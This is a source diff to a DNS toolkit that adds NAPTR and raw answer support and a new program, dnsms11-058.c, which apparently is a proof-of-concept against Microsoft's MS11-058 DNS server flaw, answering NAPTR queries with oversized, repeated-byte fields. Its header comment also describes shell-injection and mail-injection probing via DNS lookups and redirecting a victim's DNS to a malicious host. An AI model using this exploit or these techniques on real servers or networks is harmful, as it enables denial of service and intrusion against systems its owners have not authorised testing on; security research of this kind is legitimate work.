Index: dns.c =================================================================== --- dns.c (revision 1135) +++ dns.c (working copy) @@ -26,7 +26,7 @@ #include "dns.h" -static void buffer_add_dns_name(buffer_t *buffer, char *name) +void buffer_add_dns_name(buffer_t *buffer, char *name) { char *domain_base = safe_strdup(name); char *domain_start; @@ -527,6 +527,13 @@ safe_free(dns->answers[i].answer->AAAA.address); } #endif + else if(dns->answers[i].type == DNS_TYPE_NAPTR) + { + safe_free(dns->answers[i].answer->NAPTR.flags); + safe_free(dns->answers[i].answer->NAPTR.services); + safe_free(dns->answers[i].answer->NAPTR.regexp); + safe_free(dns->answers[i].answer->NAPTR.replacement); + } else if(dns->answers[i].type == DNS_TYPE_NB) { safe_free(dns->answers[i].answer->NB.address); @@ -538,6 +545,10 @@ safe_free(dns->answers[i].answer->NBSTAT.names[j].name); safe_free(dns->answers[i].answer->NBSTAT.names); } + else if(dns->answers[i].type == DNS_TYPE_RAW) + { + safe_free(dns->answers[i].answer->RAW.data); + } safe_free(dns->answers[i].answer); } safe_free(dns->answers); @@ -691,7 +702,7 @@ dns->answers = (answer_t*) safe_malloc(sizeof(answer_t)); /* Set up the last element. */ - (dns->answers[dns->answer_count - 1]).question = safe_strdup(question); + (dns->answers[dns->answer_count - 1]).question = question ? safe_strdup(question) : NULL; (dns->answers[dns->answer_count - 1]).type = type; (dns->answers[dns->answer_count - 1]).class = class; (dns->answers[dns->answer_count - 1]).ttl = ttl; @@ -747,6 +758,19 @@ } #endif +void dns_add_answer_NAPTR(dns_t *dns, char *question, uint16_t class, uint32_t ttl, uint16_t order, uint16_t preference, char *flags, char *services, char *regexp, char *replacement) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->NAPTR.order = order; + answer->NAPTR.preference = preference; + answer->NAPTR.flags = safe_strdup(flags); + answer->NAPTR.services = safe_strdup(services); + answer->NAPTR.regexp = safe_strdup(regexp); + answer->NAPTR.replacement = safe_strdup(replacement); + + dns_add_answer(dns, question, DNS_TYPE_NAPTR, class, ttl, answer); +} + void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, uint16_t class, uint32_t ttl, uint16_t flags, char *address) { /* Create a buffer where we're going to build our complete question. */ @@ -793,6 +817,16 @@ safe_free(encoded); } +void dns_add_answer_RAW(dns_t *dns, uint8_t *data, uint16_t data_length) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->RAW.data = safe_malloc(data_length); + memcpy(answer->RAW.data, data, data_length); + answer->RAW.data_length = data_length; + + dns_add_answer(dns, NULL, DNS_TYPE_RAW, 0, 0, answer); +} + /* This is pretty much identical to dns_add_answer. */ static void dns_add_additional(dns_t *dns, char *question, uint16_t type, uint16_t class, uint32_t ttl, additional_types_t *additional) { @@ -933,11 +967,15 @@ for(i = 0; i < dns->answer_count; i++) { - buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */ -/* buffer_add_int16(buffer, 0xc00c);*/ - buffer_add_int16(buffer, dns->answers[i].type); /* Type. */ - buffer_add_int16(buffer, dns->answers[i].class); /* Class. */ - buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */ + /* Don't add the base stuff if this is a RAW request. Let the programmer + * handle that stuff. */ + if(dns->answers[i].type != DNS_TYPE_RAW) + { + buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */ + buffer_add_int16(buffer, dns->answers[i].type); /* Type. */ + buffer_add_int16(buffer, dns->answers[i].class); /* Class. */ + buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */ + } if(dns->answers[i].type == DNS_TYPE_A) { @@ -973,12 +1011,41 @@ buffer_add_ipv6_address(buffer, dns->answers[i].answer->AAAA.address); } #endif + else if(dns->answers[i].type == DNS_TYPE_NAPTR) + { + /* Length */ + buffer_add_int16(buffer, 2 + /* Order */ + 2 + /* Preference */ + strlen(dns->answers[i].answer->NAPTR.flags) + 1 + /* Flags */ + strlen(dns->answers[i].answer->NAPTR.services) + 1 + /* Services */ + strlen(dns->answers[i].answer->NAPTR.regexp) + 1 + /* Regexp */ + strlen(dns->answers[i].answer->NAPTR.replacement) + 2 /* Replacement */ + ); + + buffer_add_int16(buffer, dns->answers[i].answer->NAPTR.order); + buffer_add_int16(buffer, dns->answers[i].answer->NAPTR.preference); + + buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.flags)); + buffer_add_string(buffer, dns->answers[i].answer->NAPTR.flags); + + buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.services)); + buffer_add_string(buffer, dns->answers[i].answer->NAPTR.services); + + buffer_add_int8(buffer, strlen(dns->answers[i].answer->NAPTR.regexp)); + buffer_add_string(buffer, dns->answers[i].answer->NAPTR.regexp); + + buffer_add_dns_name(buffer, dns->answers[i].answer->NAPTR.replacement); + } else if(dns->answers[i].type == DNS_TYPE_NB) { buffer_add_int16(buffer, 6); buffer_add_int16(buffer, dns->answers[i].answer->NB.flags); buffer_add_ipv4_address(buffer, dns->answers[i].answer->NB.address); } + else if(dns->answers[i].type == DNS_TYPE_RAW) + { + buffer_add_bytes(buffer, dns->answers[i].answer->RAW.data, dns->answers[i].answer->RAW.data_length); + } else { fprintf(stderr, "WARNING: Don't know how to build answer type 0x%02x; skipping!\n", dns->answers[i].type); @@ -1252,35 +1319,35 @@ void dns_do_test(char *domain) { - buffer_t *command; - char *command_str; + buffer_t *command; + char *command_str; - command = buffer_create(BO_NETWORK); - buffer_add_string(command, "dnstest "); - buffer_add_ntstring(command, domain); - command_str = (char*) buffer_create_string_and_destroy(command, NULL); - if(system(command_str)) - { - safe_free(command_str); - command = buffer_create(BO_NETWORK); - buffer_add_string(command, "./dnstest "); - buffer_add_ntstring(command, domain); - command_str = (char*) buffer_create_string_and_destroy(command, NULL); - if(system(command_str)) - { - safe_free(command_str); - command = buffer_create(BO_NETWORK); - buffer_add_string(command, "./dnstest "); - buffer_add_ntstring(command, domain); - command_str = (char*) buffer_create_string_and_destroy(command, NULL); - if(system(command_str)) - { - fprintf(stderr, "Couldn't figure out how to run 'dnstest'. Sorry!\n"); - exit(1); - } - } - } - safe_free(command_str); - exit(0); + command = buffer_create(BO_NETWORK); + buffer_add_string(command, "dnstest "); + buffer_add_ntstring(command, domain); + command_str = (char*) buffer_create_string_and_destroy(command, NULL); + if(system(command_str)) + { + safe_free(command_str); + command = buffer_create(BO_NETWORK); + buffer_add_string(command, "./dnstest "); + buffer_add_ntstring(command, domain); + command_str = (char*) buffer_create_string_and_destroy(command, NULL); + if(system(command_str)) + { + safe_free(command_str); + command = buffer_create(BO_NETWORK); + buffer_add_string(command, "./dnstest "); + buffer_add_ntstring(command, domain); + command_str = (char*) buffer_create_string_and_destroy(command, NULL); + if(system(command_str)) + { + fprintf(stderr, "Couldn't figure out how to run 'dnstest'. Sorry!\n"); + exit(1); + } + } + } + safe_free(command_str); + exit(0); } Index: dns.h =================================================================== --- dns.h (revision 1135) +++ dns.h (working copy) @@ -18,6 +18,7 @@ #ifndef __DNS_H__ #define __DNS_H__ +#include "buffer.h" #include "types.h" /* Define a list of dns types. Windows defines these automatically, @@ -25,6 +26,9 @@ #ifndef DNS_TYPE_A typedef enum { + /* A special type that I use internally. */ + DNS_TYPE_RAW = 0xFFFF, + /* RFC 1034/1035 */ DNS_TYPE_A = 0x0001, DNS_TYPE_NS = 0x0002, @@ -183,6 +187,17 @@ uint8_t length; } TEXT_answer_t; +/* A NAPTR record has flags, services, a regular expression, and a replacement. */ +typedef struct +{ + uint16_t order; + uint16_t preference; + char *flags; + char *services; + char *regexp; + char *replacement; +} NAPTR_answer_t; + /* A NetBIOS answer (NB) is used by Windows on port 137. */ typedef struct { @@ -206,6 +221,12 @@ uint8_t stats[64]; } NBSTAT_answer_t; +typedef struct +{ + uint8_t *data; + uint16_t data_length; +} RAW_answer_t; + /* Let us refer to any kind of answer type together. */ typedef union { @@ -217,8 +238,10 @@ #ifndef WIN32 AAAA_answer_t AAAA; #endif + NAPTR_answer_t NAPTR; NB_answer_t NB; NBSTAT_answer_t NBSTAT; + RAW_answer_t RAW; } answer_types_t; /* And finally, define a DNS answer. */ @@ -327,6 +350,9 @@ additional_t *additionals; } dns_t; +/* An extension to the buffer class to add encoded DNS names. */ +void buffer_add_dns_name(buffer_t *buffer, char *name); + /* Allocate memory for a blank dns structure. Should be freed with dns_free(). */ dns_t *dns_create(); @@ -354,7 +380,9 @@ #ifndef WIN32 void dns_add_answer_AAAA(dns_t *dns, char *question, uint16_t class, uint32_t ttl, char *address); #endif +void dns_add_answer_NAPTR(dns_t *dns, char *question, uint16_t class, uint32_t ttl, uint16_t order, uint16_t preference, char *flags, char *services, char *regexp, char *replacement); void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, uint16_t class, uint32_t ttl, uint16_t flags, char *address); +void dns_add_answer_RAW(dns_t *dns, uint8_t *data, uint16_t data_length); /* These functions add additionals of the various types. */ void dns_add_additional_A(dns_t *dns, char *question, uint16_t class, uint32_t ttl, char *address); Index: Makefile =================================================================== --- Makefile (revision 1135) +++ Makefile (working copy) @@ -14,7 +14,7 @@ LIBS= CFLAGS+=$(COMMON_CFLAGS) -all: nbquery nbsniff dnsxss dnslogger dnscat dnstest samples_build +all: nbquery nbsniff dnsxss dnslogger dnsms11-058 dnscat dnstest samples_build @echo Compile should be complete samples_build: @@ -33,6 +33,7 @@ ldid -S smbserver ldid -S dnsxss ldid -S dnslogger + ldid -S dnsms11-058 ldid -S dnscat ldid -S dnstest @@ -42,12 +43,14 @@ cp nbsniff /usr/local/bin/nbsniff cp dnsxss /usr/local/bin/dnsxss cp dnslogger /usr/local/bin/dnslogger + cp dnsms11-058 /usr/local/bin/dnsms11-058 cp dnscat /usr/local/bin/dnscat cp dnstest /usr/local/bin/dnstest chown root.root /usr/local/bin/nbquery chown root.root /usr/local/bin/nbsniff chown root.root /usr/local/bin/dnsxss chown root.root /usr/local/bin/dnslogger + chown root.root /usr/local/bin/dnsms11-058 chown root.root /usr/local/bin/dnscat chown root.root /usr/local/bin/dnstest @@ -59,13 +62,14 @@ rm -f /usr/local/bin/genhash rm -f /usr/local/bin/dnsxss rm -f /usr/local/bin/dnslogger + rm -f /usr/local/bin/dnsms11-058 rm -f /usr/local/bin/dnscat rm -f /usr/local/bin/dnstest uninstall: remove clean: - rm -f *.o *.exe *.stackdump nbquery nbregister nbpoison nbsniff genhash dnsxss dnslogger dnscat dnstest smbserver smbtest core + rm -f *.o *.exe *.stackdump nbquery nbregister nbpoison nbsniff genhash dnsxss dnslogger dnsms11-058 dnscat dnstest smbserver smbtest core rm -f nbtool buffer select_group crypto smbclient -cd samples && make clean @@ -90,6 +94,9 @@ dnslogger: dnslogger.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o ${CC} ${CFLAGS} -o dnslogger dnslogger.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o ${LIBS} +dnsms11-058: dnsms11-058.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o + ${CC} ${CFLAGS} -o dnsms11-058 dnsms11-058.o buffer.o tcp.o udp.o select_group.o types.o memory.o dns.o ${LIBS} + #smbtest: smbtest.o smbclient.o buffer.o udp.o tcp.o select_group.o smb.o nameservice.o crypto.o smb_types.o memory.o types.o # ${CC} ${CFLAGS} -o smbtest smbtest.o smbclient.o buffer.o udp.o tcp.o select_group.o smb.o nameservice.o crypto.o smb_types.o memory.o types.o ${LIBS} Index: dnsms11-058.c =================================================================== --- dnsms11-058.c (revision 0) +++ dnsms11-058.c (revision 0) @@ -0,0 +1,515 @@ +/* dnslogger.c + * By Ron Bowes + * Created January, 2010 + * + * (See LICENSE.txt) + * + *==Intro== + * [[dnslogger]] has two primary functions: + * # Print all received DNS requests + * # Reply to them with an error or a static ip address (IPv4 or IPv6) + * + * This is obviously very simple, but is also powerful. + * + *==Usage== + *
+ *  -h --help
+ *     Help (this page)
+ *  --test 
+ *     Test to see if we are the authoritative nameserver for the given domain.
+ *  -s --source 
+ * The local address to bind to. Default: any (0.0.0.0) + * -p --port + * The local port to listen on. I don't recommend changing this. + * default: 53 + * -A
+ * The A record to return when a record is requested. Default: NXDOMAIN. + * --AAAA
+ * The AAAA record to return when a record is requested. Default: NXDOMAIN. + * --TTL
+ * + *==Printing requests== + * Printing DNS requests has a lot of uses. Essentially, it'll tell you if + * a program tried to connect to your site, without the program ever + * attempting the connection. There are a great number of possible uses for + * that: + * * Finding open proxies without making an actual connection through it + * * Finding open mail relays without sending an email through it + * * Finding errors in mail-handling code on a site + * * Finding shell injection on a Web application without outbound traffic or delays + * * Checking if a user visited a certain page + * + * In every one of those cases, the server will try to look up the domain name + * to perform some action, and fails. For example, to find an open proxy you + * can connect to the potential proxy and send it "CONNECT ". If + * the proxy server is indeed open, it'll do a lookup on and + * you'll see the request. Then, by default, an error is returned, so the proxy + * server gives up on attempting the connection and it's never logged. That's + * really the key -- the connection attempt never gets logged. + * + * Likewise, shell injection. If you're testing an application for shell + * injection, you can send it the payload 'ping ' to run. a + * vulnerable server will attempt to ping the domain and perform a DNS lookup. + * By default, the DNS lookup will fail, and the server won't perform the ping. + * It'll look like this: + *
+ * $ ping www.skullseclabs.org
+ * ping: unknown host www.skullseclabs.org
+ *
+ * + * dnslogger, however, will have seen the request and we therefore know that + * the application is vulnerable. This is far more reliable than the classic + * 'ping localhost 4 times and see if it takes 3 seconds' approach to finding + * shell injection. + * + * One final note is discovering Web applications that handle email incorrectly. + * A classic vulnerability when sending email, besides shell injection, is + * letting the user terminate the email with a "." on its own line, then start + * a new email. Something like this: + *
+ * This is my email, hello!
+ * .
+ * mail from: test@test.com
+ * rcpt to: test@
+ * data
+ * This email won't get sent!
+ *
+ * + * So the first email was terminated on the second line, with a period. A new + * email is composed to test@. If the application is vulnerable + * to this type of attack, it will attempt to look up so it can + * send an email there. We'll see the request, respond with an error, and the + * request will never be sent. + * + *==Controlling the response== + * In addition to logging requests, dnslogger can also respond with arbitrary + * A or AAAA records to any incoming request. A long time ago, at work, I used + * a Visual Basic program I found somewhere called "FakeDNS" that accomplished + * a similar task, but I've since lost it and decided to implement it myself. + * Some potential uses of this program are: + * * Investigating malware that connects to a remote host + * * Redirecting users if you control their DNS server + * * Redirecting a legitimate program to your own server + * + * The first use is actually the one I created this for -- investigating + * malware. One of the most common types of malware I'm asked to investigate + * at work is a classic downloader, which reaches out to the Internet and + * downloads its payload. Almost always, it uses a DNS server to find the + * malware. By setting the system's dns to the dnslogger DNS server, all DNS + * lookups will be seen (for later investigation), and you can control which + * server it tries to connect to to download the files. + * + * Another potential use, and somewhat malicious, is, if you control the DHCP + * server on a victim's computer, you can point their DNS to a malicious host, + * perhaps one running a password-stealer or Metasploit payload, and do what + * you want. + * + * One final use, which takes me back to the old days of Battle.net programming, + * is redirecting a legitimate program with a hardcoded domain. For example, + * Battle.net used to default to useast.battle.net, uswest.battle.net, etc. + * Although you could change these servers in the registry, another option is + * to point your system DNS to dnslogger and let it redirect the requests for + * you. + * + *==Authoritative DNS server== + * Many functions of this tool require you to be the authoritative nameserver + * for a domain. This typically costs money, but is fairly cheap and has a lot + * of benefits. If you aren't sure whether or not you're the authority, you + * can use the --test argument to this program, or you can directly run the + * [[dnstest]] program, also included. + */ + +#include +#include +#include +#include + +#ifdef WIN32 +#include +#else +#include +#endif + +#include "buffer.h" +#include "dns.h" +#include "memory.h" +#include "my_getopt.h" +#include "select_group.h" +#include "types.h" +#include "udp.h" + +#define NAME "dnslogger" + +typedef struct +{ + int server_socket; + select_group_t *select_group; + char *user; + char *source; + int port; + char *A; +#ifndef WIN32 + char *AAAA; +#endif + int TTL; +} settings_t; + +/* We need this for catching signals. */ +settings_t *global_settings = NULL; + +static SELECT_RESPONSE_t dns_callback(void *group, int socket, uint8_t *packet, size_t packet_length, char *addr, uint16_t port, void *s) +{ + settings_t *settings = (settings_t*) s; + dns_t *response; + uint8_t *response_packet; + uint32_t response_packet_length; + buffer_t *answer; + uint8_t *answer_string; + uint32_t answer_length; + + /* Parse the DNS packet. */ + dns_t *request = dns_create_from_packet(packet, packet_length); + + /* Create the response packet. */ + response = dns_create(); + response->trn_id = request->trn_id; + response->flags = 0x8000; + + if(request->question_count > 0) + { + int i; + + /* Display the questions. */ + for(i = 0; i < request->question_count; i++) + { + /* Grab the question and display it. */ + question_t this_question = request->questions[i]; + fprintf(stderr, "Question %d: %s (0x%04x 0x%04x)\n", i, this_question.name, this_question.type, this_question.class); + + /* Add an answer, if appropriate. */ + dns_add_question(response, this_question.name, this_question.type, this_question.class); + if(settings->A && (this_question.type == DNS_TYPE_A || this_question.type == DNS_TYPE_ANY)) + { + fprintf(stderr, "(Responding with %s)\n", settings->A); + dns_add_answer_A(response, this_question.name, 0x0001, settings->TTL, settings->A); + } +#ifndef WIN32 + else if(settings->AAAA && this_question.type == DNS_TYPE_AAAA) + { + fprintf(stderr, "(Responding with %s)\n", settings->AAAA); + dns_add_answer_AAAA(response, this_question.name, 0x0001, settings->TTL, settings->AAAA); + } +#endif + + /* If a NAPTR record is requested, return something. */ + if(this_question.type == DNS_TYPE_NAPTR) + { +/* uint8_t *flags = (uint8_t*) "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA" + "AAAAAAAAAAAAAAAA";*/ + /* note: if flags is 255 'A's, service is 7 'B's, regex is 188 'A's, and the replacement is 'mooo.com', weird stuff happens on the patched version... */ + char *flags = "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" + "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"; + char *service = "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW" + "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW"; + char *regex = "XXXX"; + char *replace = "my.test.com"; + + + answer = buffer_create(BO_BIG_ENDIAN); + buffer_add_dns_name(answer, this_question.name); /* Question. */ + + buffer_add_int16(answer, DNS_TYPE_NAPTR); /* Type. */ + buffer_add_int16(answer, this_question.class); /* Class. */ + buffer_add_int32(answer, settings->TTL); + buffer_add_int16(answer, 2 + /* Length. */ + 2 + + 1 + strlen(flags) + + 1 + strlen(service) + + 1 + strlen(regex) + + 2 + strlen(replace)); + + buffer_add_int16(answer, 0x0064); /* Order. */ + buffer_add_int16(answer, 0x000b); /* Preference. */ + + buffer_add_int8(answer, strlen(flags)); /* Flags. */ + buffer_add_string(answer, flags); + + buffer_add_int8(answer, strlen(service)); /* Service. */ + buffer_add_string(answer, service); + + buffer_add_int8(answer, strlen(regex)); /* Regex. */ + buffer_add_string(answer, regex); + + buffer_add_dns_name(answer, replace); + answer_string = buffer_create_string_and_destroy(answer, &answer_length); + + dns_add_answer_RAW(response, answer_string, answer_length); + } + } + + /* If we have any answers, send back our packet. */ + if(response->answer_count > 0) + { + /* Send the packet. */ + response_packet = dns_to_packet(response, &response_packet_length); + udp_send(socket, addr, port, response_packet, response_packet_length); + } + else + { + /* Send back an error. */ + response_packet = dns_create_error_string(request->trn_id, request->questions[0], &response_packet_length); + udp_send(socket, addr, port, response_packet, response_packet_length); + } + + /* Delete the response. */ + safe_free(response_packet); + dns_destroy(response); + + /* Delete the request. */ + dns_destroy(request); + } + + return SELECT_OK; +} + +static void dns_poll(settings_t *s) +{ + /* Create the select group in 'settings' -- this is so we can free it on a signal. */ + s->select_group = select_group_create(); + + /* Add the server socket. */ + select_group_add_socket(s->select_group, s->server_socket, SOCKET_TYPE_DATAGRAM, s); + select_set_recv(s->select_group, s->server_socket, dns_callback); + + while(1) + select_group_do_select(s->select_group, -1); + + select_group_destroy(s->select_group); /* Note: we don't get here. */ +} + +void cleanup(void) +{ + if(global_settings) + { + /* Free memory. */ + if(global_settings->select_group) + select_group_destroy(global_settings->select_group); + + safe_free(global_settings); + } + + /* Print allocated memory. This will only run if -DTESTMEMORY is given. */ + print_memory(); +} + +void interrupt(int signal) +{ + /* Note: exiting like this will call the atexit() function, cleanup(). */ + fprintf(stderr, "punt!\n"); + exit(0); +} + +static void usage(char *program) +{ + fprintf(stderr, NAME", by Ron Bowes \n"); + fprintf(stderr, "\n"); + fprintf(stderr, "%s [options]\n", program); + fprintf(stderr, "\n"); + fprintf(stderr, " -h --help\n"); + fprintf(stderr, " Help (this page)\n"); + fprintf(stderr, " --test \n"); + fprintf(stderr, " Test to see if we are the authoritative nameserver for the given domain.\n"); + fprintf(stderr, " -s --source
\n"); + fprintf(stderr, " The local address to bind to. Default: any (0.0.0.0)\n"); + fprintf(stderr, " -p --port \n"); + fprintf(stderr, " The local port to listen on. I don't recommend changing this.\n"); + fprintf(stderr, " default: 53\n"); + fprintf(stderr, " -A
\n"); + fprintf(stderr, " The A record to return when a record is requested. Default: NXDOMAIN.\n"); +#ifndef WIN32 + fprintf(stderr, " --AAAA
\n"); + fprintf(stderr, " The AAAA record to return when a record is requested. Default: NXDOMAIN.\n"); +#endif + fprintf(stderr, " --TTL